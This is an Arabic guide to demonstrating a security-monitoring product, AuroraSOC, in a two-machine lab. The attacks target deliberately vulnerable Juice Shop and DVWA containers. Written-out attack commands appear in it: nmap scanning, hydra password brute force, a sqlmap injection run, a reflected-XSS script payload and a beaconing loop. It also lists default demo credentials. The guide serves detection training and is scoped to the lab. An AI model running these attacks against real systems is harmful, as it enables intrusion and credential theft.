مختبر عرض القدرات
استخدم هذا الدليل عندما تريد عرض AuroraSOC باستخدام حاسوبين على شبكة مختبر مصرح بها:
- حاسوب Windows يشغل AuroraSOC مع حاويات أهداف متعمدة الضعف يمكن التخلص منها (OWASP Juice Shop وDVWA) عبر Docker أو Podman
- حاسوب Kali Linux يشغل أدوات استطلاع واستغلال حقيقية (
nmap,nikto,gobuster,ffuf,hydra,sqlmap) ضد تلك الأهداف فقط
الهدف هو توليد نشاط هجومي واقعي يستطيع AuroraSOC اكتشافه وتحليله والاستجابة له، من دون المساس بأنظمة الإنتاج أو أي مضيف خارجي.
نطاق السلامة
هذه الصفحة مخصصة لشبكة مختبر تملكها مع أهداف مختبر يمكن التخلص منها فقط.
- اهجم فقط على الحاويات متعمدة الضعف (
lab-juice-shopعلى المنفذ3001وlab-dvwaعلى المنفذ8081) التي تعمل على حاسوب AuroraSOC. - لا توجه أبدًا أدوات Kali إلى AuroraSOC API (
8000) أو لوحة التحكم (3000) أو الخدمات الداعمة (Postgres, Redis, NATS, Mosquitto) أو مضيف Windows نفسه أو أي عنوان آخر على الشبكة. - أبق AuroraSOC في وضع
dummyأوdry_runإلا إذا كنت تعرض مختبرًا جاهزًا يشبه الإنتاج. - امسح حاويات الأهداف الضعيفة في نهاية العرض حتى لا تبقى بيانات اعتماد أو جلسات أو بيانات مزروعة.
- لا تشغل reverse shells أو إطارات post-exploitation أو عينات malware أو تقنيات persistence. الهدف إشارة اكتشاف وليس اختراق كامل.
- وضح للحضور أي أجزاء تستخدم حركة هجوم حية ضد أهداف المختبر وأي أجزاء تعتمد على مخرجات showcase أو dry-run من AuroraSOC.
لعرض موثوق على حاسوب محمول من دون أسطول الوكلاء المتخصصين، استخدم وضع dummy. يعيد هذا الوضع مخرجات showcase ثابتة للتنسيق والتحليل الشبكي.
استخدم dry_run عندما يكون المسار الأدنى للوكلاء قيد التشغيل وتريد قراءات حية مع معاينات تحليل غير مغيرة للحالة.
طوبولوجيا العرض
ما الذي يوضحه هذا العرض
| القدرة | الأمر أو الإجراء | ما الذي تعرضه في AuroraSOC |
|---|---|---|
| حقيقة وضع التشغيل | GET /api/v1/system/mode | شريط الوضع في Settings ومعنى وضع backend |
| رؤية لوحة التحكم | فتح http://AURORA_HOST_IP:3000 | KPIs، التنبيهات المضمنة، الحالات، وسجل الوكلاء |
| إحصاء المنافذ والخدمات | nmap -sS -sV -sC ضد أهداف المختبر | نتائج T1046 Network Service Discovery |
| فحص ثغرات الويب | nikto -h http://target:8081 | بصمة Scanner User-Agent ونمط الفحص في تحليل الشبكة |
| اكتشاف المحتوى | gobuster dir, ffuf على جذور الويب المختبرية | دفعة T1083 File and Directory Discovery |
| Brute Force على بيانات الاعتماد | hydra ضد تسجيل الدخول في DVWA | نمط T1110 Brute Force |
| حقن SQL | sqlmap ضد معامل DVWA ?id= | T1190 Exploit Public-Facing Application |
| محاكاة Beaconing | استدعاءات curl متكررة لـ Juice Shop API | إيقاع T1071.001 Web Protocol بنمط C2 |
| تخطيط orchestrator | POST /api/v1/orchestrator/dispatch | خطة تحقيق موزعة وارتباط MITRE |
| تحليل الشبكة | POST /api/v1/network-analyzer/analyze | نتائج read-only، IOCs، ومنطق flow/DNS |
| سير SIEM والتنبيهات والحالات | تنقل في لوحة التحكم | تسليم الفرز، حالة مرتبطة، timeline، ومسار evidence |
| حواجز SOAR | تنفيذ playbook مع dry_run: true | الإجراءات المتوقعة من دون عزل أو حظر |
| تحقق smoke | make smoke-minimal-dry-run أو smoke script | تسلسل أوامر end-to-end قبل العرض الحي |
أدوار الحاسوبين
- مضيف AuroraSOC على Windows
- حاسوب Kali للمختبر
يستضيف حاسوب Windows واجهة AuroraSOC API ولوحة التحكم والخدمات الداعمة. تفترض الأوامر التالية استخدام PowerShell من جذر المستودع.
أبق ثلاث نوافذ طرفية مفتوحة:
- سجلات البنية التحتية أو حالة Compose
- خادم AuroraSOC API
- خادم تطوير لوحة التحكم
حاسوب Kali يشغل أدوات هجومية ضد أهداف المختبر القابلة للتخلص فقط. لا يجب أن يفحص منافذ AuroraSOC API أو لوحة التحكم أو مضيف Windows نفسه أو أي عنوان آخر على الشبكة.
أبق نافذتين طرفيتين مفتوحتين:
- أدوات هجوم ضد أهداف المختبر (
nmap,nikto,gobuster,hydra,sqlmap) - طلبات AuroraSOC API المصادق عليها لقيادة التحليل والاستجابة
فحص أولي على Windows
شغل PowerShell كمسؤول إذا احتجت إلى إضافة قواعد firewall.
# From the AuroraSOC repository root
$AURORA_HOST_IP = (Get-NetIPAddress -AddressFamily IPv4 |
Where-Object {
$_.IPAddress -notlike '127.*' -and
$_.IPAddress -notlike '169.254.*' -and
$_.InterfaceAlias -notlike '*Loopback*'
} |
Select-Object -First 1 -ExpandProperty IPAddress)
Write-Host "AuroraSOC host IP: $AURORA_HOST_IP"
# Allow the demo dashboard and API from the lab network.
if (-not (Get-NetFirewallRule -DisplayName "AuroraSOC Demo API and Dashboard" -ErrorAction SilentlyContinue)) {
New-NetFirewallRule `
-DisplayName "AuroraSOC Demo API and Dashboard" `
-Direction Inbound `
-Action Allow `
-Protocol TCP `
-LocalPort 8000,3000
}
# Allow the disposable, intentionally vulnerable lab targets.
if (-not (Get-NetFirewallRule -DisplayName "AuroraSOC Lab Vulnerable Targets" -ErrorAction SilentlyContinue)) {
New-NetFirewallRule `
-DisplayName "AuroraSOC Lab Vulnerable Targets" `
-Direction Inbound `
-Action Allow `
-Protocol TCP `
-LocalPort 3001,8081
}
إذا كانت قاعدة firewall موجودة مسبقًا، يتركها المقتطف كما هي.
تشغيل خدمات AuroraSOC
اختر محرك الحاويات المثبت على حاسوب Windows.
- Podman
- Docker
podman machine start
podman compose -f docker-compose.dev.yml up -d
podman compose -f docker-compose.dev.yml ps
docker compose -f docker-compose.dev.yml up -d
docker compose -f docker-compose.dev.yml ps
شغل API على كل الواجهات حتى يستطيع حاسوب Kali الوصول إليه:
py -3.12 -m venv .venv
. .\.venv\Scripts\Activate.ps1
python -m pip install -e ".[dev]"
alembic upgrade head
uvicorn aurorasoc.api.main:app --host 0.0.0.0 --port 8000 --reload
في نافذة PowerShell جديدة، شغل لوحة التحكم على كل الواجهات:
cd dashboard
npm install
npm run dev -- --hostname 0.0.0.0
افتح لوحة التحكم من حاسوب Windows أولًا:
http://localhost:3000
استخدم بيانات الاعتماد التجريبية من دليل البدء السريع:
| الحقل | القيمة |
|---|---|
| اسم المستخدم | admin |
| كلمة المرور | admin123! |
نشر الأهداف متعمدة الضعف
هذه الحاويات مصممة ليتم مهاجمتها. إنها معزولة على منافذ مخصصة وتُزال أثناء التنظيف.
- Podman
- Docker
podman run -d --name lab-juice-shop --restart unless-stopped -p 3001:3000 docker.io/bkimminich/juice-shop
podman run -d --name lab-dvwa --restart unless-stopped -p 8081:80 docker.io/vulnerables/web-dvwa
podman ps --filter name=lab-
docker run -d --name lab-juice-shop --restart unless-stopped -p 3001:3000 bkimminich/juice-shop
docker run -d --name lab-dvwa --restart unless-stopped -p 8081:80 vulnerables/web-dvwa
docker ps --filter name=lab-
تحقق من إمكانية الوصول إلى الهدفين من حاسوب Kali:
curl -I "http://${AURORA_HOST_IP}:3001"
curl -I "http://${AURORA_HOST_IP}:8081"
إذا أظهرت DVWA صفحة الإعداد عند التشغيل الأول، انقر Create / Reset Database مرة واحدة. بيانات الاعتماد الافتراضية هي admin / password. اضبط مستوى الأمان على low من صفحة DVWA Security حتى تنجح حمولات SQLi وXSS التجريبية.
اختيار وضع تشغيل آمن
نفذ المصادقة مرة واحدة من PowerShell:
$API_BASE = "http://localhost:8000/api/v1"
$TOKEN = (curl.exe -s -X POST "$API_BASE/auth/token" `
-H "Content-Type: application/json" `
-d '{"username":"admin","password":"admin123!"}' | ConvertFrom-Json).access_token
لأكثر عرض موثوق على حاسوب محمول فقط، اضبط وضع dummy:
curl.exe -s -X POST "$API_BASE/system/mode" `
-H "Authorization: Bearer $TOKEN" `
-H "Content-Type: application/json" `
-d '{"mode":"dummy"}'
إذا كان orchestrator وnetwork analyzer بالحد الأدنى قيد التشغيل، استخدم dry_run بدلًا من ذلك:
curl.exe -s -X POST "$API_BASE/system/mode" `
-H "Authorization: Bearer $TOKEN" `
-H "Content-Type: application/json" `
-d '{"mode":"dry_run"}'
تحقق من الوضع الفعال:
curl.exe -s "$API_BASE/system/mode" -H "Authorization: Bearer $TOKEN"
دليل الهجوم من Kali
على Kali، اضبط عنوان IP لحاسوب Windows وعناوين أهداف المختبر.
export AURORA_HOST_IP="192.168.1.50"
export API_BASE="http://${AURORA_HOST_IP}:8000/api/v1"
export KALI_IP="$(ip -4 route get "$AURORA_HOST_IP" | awk '{for (i=1;i<=NF;i++) if ($i=="src") {print $(i+1); exit}}')"
export TARGET_HOST="$AURORA_HOST_IP"
export DVWA_URL="http://${TARGET_HOST}:8081"
export JUICE_URL="http://${TARGET_HOST}:3001"
mkdir -p ~/aurora-demo && cd ~/aurora-demo
# Confirm reachability of the vulnerable targets only.
curl -I "$JUICE_URL"
curl -I "$DVWA_URL"
كل كتلة أدناه ترتبط بتقنية MITRE ATT&CK ستستخدمها للتمحور داخل AuroraSOC. شغل الكتل بالترتيب حتى يروي timeline قصة متسقة.
1. الاستطلاع (T1046)
# Service and default-script scan against the known lab ports.
sudo nmap -Pn -sS -sV -sC -p 3001,8081 -oA nmap-services "$TARGET_HOST"
# Wider TCP sweep so AuroraSOC sees a clear scanning signature.
sudo nmap -Pn -p- --min-rate 1000 -oA nmap-allports "$TARGET_HOST"
2. فحص ثغرات الويب
nikto -h "$DVWA_URL" -o nikto-dvwa.txt -Format txt
nikto -h "$JUICE_URL" -o nikto-juice.txt -Format txt
3. اكتشاف المحتوى (T1083)
gobuster dir -u "$DVWA_URL" \
-w /usr/share/wordlists/dirb/common.txt \
-t 30 -o gobuster-dvwa.txt
ffuf -u "${JUICE_URL}/FUZZ" \
-w /usr/share/wordlists/dirb/common.txt \
-of csv -o ffuf-juice.csv
4. Brute Force لبيانات الاعتماد (T1110)
# Capture a fresh DVWA session cookie first (default creds: admin / password).
DVWA_COOKIE="$(curl -s -c - -d 'username=admin&password=password&Login=Login' \
"${DVWA_URL}/login.php" | awk '/PHPSESSID/ {print $6"="$7}')"
echo "DVWA_COOKIE=$DVWA_COOKIE"
# rockyou.txt ships gzipped on Kali; gunzip it once if needed.
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V \
"$TARGET_HOST" -s 8081 http-post-form \
"/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
5. حقن SQL (T1190)
sqlmap -u "${DVWA_URL}/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; ${DVWA_COOKIE}" \
--batch --level=2 --risk=2 --threads=4 --dbs
6. فحص Reflected XSS
curl -s -o /dev/null -w "%{http_code}\n" \
-b "security=low; ${DVWA_COOKIE}" \
"${DVWA_URL}/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
7. إيقاع Beaconing (T1071.001)
# Steady, low-jitter outbound HTTP to a Juice Shop API endpoint.
for i in $(seq 1 60); do
curl -s -o /dev/null "${JUICE_URL}/api/Products?_=$(date +%s%N)"
sleep 1
done
بعد كل كتلة، انتقل إلى AuroraSOC واستدع واجهة التحليل أدناه حتى يرى الحضور منطق AuroraSOC حول النشاط تقريبًا في الوقت الفعلي.
المصادقة من Kali
export TOKEN="$(curl -fsS -X POST "$API_BASE/auth/token" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin123!"}' | jq -r .access_token)"
curl -fsS "$API_BASE/system/mode" \
-H "Authorization: Bearer $TOKEN" | jq
إذا لم يكن jq مثبتًا، استخدم sudo apt install -y jq أو اقرأ استجابة JSON الخام.
عرض تخطيط orchestrator
نفذ هذا من Kali بعد المصادقة:
curl -fsS -X POST "$API_BASE/orchestrator/dispatch" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"task\": \"Investigate suspected attack chain from Kali host ${KALI_IP:-unknown} against AuroraSOC lab targets: nmap port and service scanning, nikto web scanning, gobuster directory brute force, hydra login brute force, and sqlmap SQL injection on ports 3001 and 8081\",
\"priority\": \"high\"
}" | jq
اعرض هذه الحقول للحضور:
plan_summarydelegationsreasoningmitre_techniquesconfidence_policy
في وضع dummy يعيد هذا خطة showcase ثابتة. في وضع dry_run يعيد orchestrator خطة معاينة غير مغيرة للحالة.
عرض تحليل الشبكة read-only
curl -fsS -X POST "$API_BASE/network-analyzer/analyze" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"query\": \"Correlate reconnaissance, web scanning, brute force, SQL injection, and beaconing originating from ${KALI_IP:-unknown} against ${AURORA_HOST_IP} on ports 3001 and 8081\",
\"time_range_hours\": 4,
\"focus_area\": \"multi-stage web attack chain against lab targets\"
}" | jq
ثم اعرض النتائج الأخيرة:
curl -fsS "$API_BASE/network-analyzer/findings" \
-H "Authorization: Bearer $TOKEN" | jq
أكد أن Network Analyzer يعمل read-only. قيوده تشمل عدم حظر IP، وعدم تعديل firewall، وعدم عزل hosts، وعدم تنفيذ playbooks.
جولة لوحة التحكم
افتح لوحة التحكم من Kali أو من حاسوب Windows:
http://AURORA_HOST_IP:3000
استخدم هذا الترتيب أثناء العرض:
- Settings: اعرض وضع
dummyأوdry_runواشرح أن العرض غير مغير للحالة. - Overview: اعرض حجم التنبيهات، عدد الحالات، أجهزة CPS، ونتائج الشبكة.
- SIEM: ابحث في الأحداث المضمنة، واستخدم source/severity pivots، ورق حدثًا مناسبًا عند الحاجة.
- Alerts: افتح تنبيهًا عاليًا أو حرجًا، وراجع IOCs وMITRE mapping، ثم أنشئ أو اربط حالة.
- Cases: اعرض timeline وobservables وevidence والتعليقات وتسليم المهام.
- Agent Fleet أو AI Chat: اعرض أدوار الوكلاء وسياق تخطيط التحقيق.
- Network Analyzer: اعرض findings، وتفصيل DNS/flow، وIOCs، والتوصيات، ومنطق الوكيل.
- SOAR: شغل playbook بنمط dry-run فقط أو اطلب موافقة من دون تنفيذ containment.
مثال SOAR Dry-Run
استخدم IDs مختارة من صفحات SOAR وAlerts. المثال التالي غير مغير للحالة عمدًا.
curl -fsS -X POST "$API_BASE/soar/playbooks/execute" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"playbook_id": "pb-malware-response",
"alert_id": "replace-with-demo-alert-id",
"dry_run": true
}' | jq
أثناء العرض، ركز على الخطوات المتوقعة وحواجز الموافقة. لا تنفذ عزلًا حقيقيًا، أو حظر IP، أو تعطيل حساب، أو إلغاء شهادة أثناء عرض الحاسوب المحمول.
مسار Smoke اختياري
إذا كان مضيف Windows يحتوي على WSL أو Git Bash وكان Podman متاحًا، نفذ dry-run للتحقق النصي أولًا:
make smoke-minimal-dry-run
للتحقق من minimal stack بشكل أوسع، استخدم smoke script من بيئة shell تستطيع تشغيل Bash:
bash ./scripts/smoke_minimal_stack.sh --dry-run
لا تشغل السكربت من دون --dry-run إلا عندما يملك حاسوب العرض موارد كافية وتكون النماذج المحلية متاحة مسبقًا.
ترتيب العرض للمقدم
| الدقيقة | الإجراء | نقطة الحديث |
|---|---|---|
| 0-2 | عرض الطوبولوجيا والوضع | أهداف مصرح بها، حاويات معزولة، واستجابات غير مغيرة للحالة |
| 2-4 | فتح Overview وSettings | يستطيع المشغل معرفة هل البيانات showcase أم dry run أم real |
| 4-6 | تشغيل استطلاع nmap من Kali | تصل إشارة فحص حقيقية إلى مضيف AuroraSOC |
| 6-8 | تشغيل nikto وgobuster | بصمة فاحص ويب ودفعة إحصاء دلائل |
| 8-10 | تشغيل hydra لـ brute force | نمط فشل تسجيل الدخول يستطيع AuroraSOC ربطه |
| 10-12 | تشغيل sqlmap وفحص XSS | إشارة استغلال ضد تطبيق الويب الضعيف |
| 12-13 | تشغيل حلقة beaconing | إيقاع صادر ثابت ومنخفض الحجم |
| 13-16 | إرسال مهمة إلى orchestrator وتحليل الشبكة | يحول AuroraSOC التتابع إلى نتائج وIOCs وارتباط MITRE |
| 16-18 | جولة Alerts وCases وSOAR | تسليم الفرز وخطة استجابة dry-run |
| 18-20 | التنظيف والخلاصة | إزالة الحاويات الضعيفة والقواعد دون ترك أثر |
التنظيف
أوقف نوافذ dashboard وAPI باستخدام Ctrl+C، ثم أوقف خدمات البنية التحتية.
- Podman
- Docker
podman rm -f lab-juice-shop lab-dvwa
podman compose -f docker-compose.dev.yml down
Remove-NetFirewallRule -DisplayName "AuroraSOC Demo API and Dashboard" -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName "AuroraSOC Lab Vulnerable Targets" -ErrorAction SilentlyContinue
docker rm -f lab-juice-shop lab-dvwa
docker compose -f docker-compose.dev.yml down
Remove-NetFirewallRule -DisplayName "AuroraSOC Demo API and Dashboard" -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName "AuroraSOC Lab Vulnerable Targets" -ErrorAction SilentlyContinue
استكشاف الأخطاء
Kali لا يستطيع الوصول إلى API
الأسباب المحتملة: Windows firewall يحظر المنفذ 8000، أو API مربوط على 127.0.0.1، أو الحاسوبان على VLAN مختلفتين.
الإصلاح:
- تأكد من تشغيل
uvicornباستخدام--host 0.0.0.0. - تأكد من أن قاعدة Windows firewall تسمح بالمنفذ
8000من شبكة المختبر. - من Kali، شغل
ping $AURORA_HOST_IPوcurl http://$AURORA_HOST_IP:8000/health.
لوحة التحكم تفتح محليًا فقط ولا تفتح من Kali
السبب المحتمل: Next.js مربوط على localhost فقط.
الإصلاح: شغله باستخدام npm run dev -- --hostname 0.0.0.0 وتأكد من السماح بالمنفذ 3000.
أوامر Podman تفشل على Windows
السبب المحتمل: Podman machine متوقفة أو Compose plugin غير متاح.
الإصلاح:
podman machine list
podman machine start
podman compose version
فشل المصادقة في API
استخدم زوج بيانات الاعتماد في البدء السريع: admin / admin123!. إذا غيرت إعدادات المصادقة، أعد توليد .env أو افحصه ثم أعد تشغيل API.
فشل Network Analyzer في dry_run
في dry_run يتوقع مسار Network Analyzer توفر runtime الأدنى للوكلاء. انتقل إلى dummy لعرض صناعي مضمون على الحاسوب المحمول، أو شغل مسار الوكلاء الأدنى قبل العرض.
تم حظر تنفيذ Playbook
هذا متوقع في وضعي dummy وdry_run للإجراءات المغيرة للحالة. استخدم dry_run: true واعرض الإجراءات المتوقعة وحواجز الموافقة ونموذج rollback بدلًا من تنفيذ containment.
Hydra ينتهي فورًا دون نتيجة
السبب المحتمل: ملف rockyou.txt مضغوط على Kali. شغل sudo gunzip /usr/share/wordlists/rockyou.txt.gz مرة واحدة قبل إعادة تشغيل hydra.
sqlmap يبلغ أن الطلب غير قابل للاستغلال
السبب المحتمل: مستوى أمان DVWA ليس low، أو أن الـ cookie الملتقط قديم. أعد تسجيل الدخول إلى DVWA واضبط Security على low وأعد تصدير DVWA_COOKIE قبل تشغيل sqlmap مجددًا.
حاويات المختبر تفشل في التشغيل على أجهزة ARM
السبب المحتمل: صورة vulnerables/web-dvwa توفر طبقات amd64 فقط. أضف --platform linux/amd64 إلى أمر docker run أو podman run.